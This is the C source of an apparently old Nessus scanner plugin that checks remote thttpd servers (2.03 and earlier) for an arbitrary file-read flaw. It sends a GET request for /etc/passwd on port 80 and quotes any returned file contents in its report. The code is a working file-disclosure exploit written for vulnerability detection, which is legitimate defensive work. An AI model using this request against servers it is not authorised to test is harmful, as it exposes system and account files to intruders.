/*
 * 
 * thttpd
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "thttpd"
#define DESC "\
Versions of the web server thttpd up to 2.03 (included) allow\n\
the remote intruders to read any files the thttpd server has the\n\
right to read, especially /etc/passwd\n\n\
Risk factor : High"
#define COPYRIGHT "hole found by Mark Slemko <marcs@znep.com>"
#define SUMM "determines if the remote thttpd allow anyone to read anything"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Remote file access");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	if(!host_get_port_state(args, 80))return(0);
	else
        {
         int soc = open_sock_tcp(args, 80);
         char * buffer;
         char * test_file = get_preference(args, "test_file");
         char * dummy[3];
         int i;
         
         if(!test_file){
          test_file = emalloc(20);
          sprintf(test_file, "/etc/passwd");
          }
         if(soc <= 0)return(0);
         buffer = emalloc(4096);
         sprintf(buffer, "GET /%s HTTP/1.0\n\n", test_file);
         send(soc, buffer, strlen(buffer), 0);
         bzero(buffer, 4096);
         recv_line(soc, buffer, 4095);
         for(i=0;i<3;i++)dummy[i]=emalloc(strlen(buffer)+1);
         sscanf(buffer, "%s %s %s", dummy[0], dummy[1], dummy[2]);
         if(!strcmp(dummy[1], "200"))
         {
          char * report;
          bzero(buffer, 4096); 
          recv(soc, buffer, 4095, 0);
          report = emalloc(strlen(buffer)+strlen(test_file)+255);
          sprintf(report,"\
The remote host is subject to the thttpd 2.03 (and earlier)\n\
security flaw. Basically, this allow an intruder to read any\n\
file the thttpd server can read. Here is a part of %s : \n\
%s\n\
Solution: upgrade your web server", test_file, buffer);
         post_hole(args, 80, report);
         }  
        for(i=0;i<3;i++)efree(&dummy[i]); 
        }
	return(0);
        
}

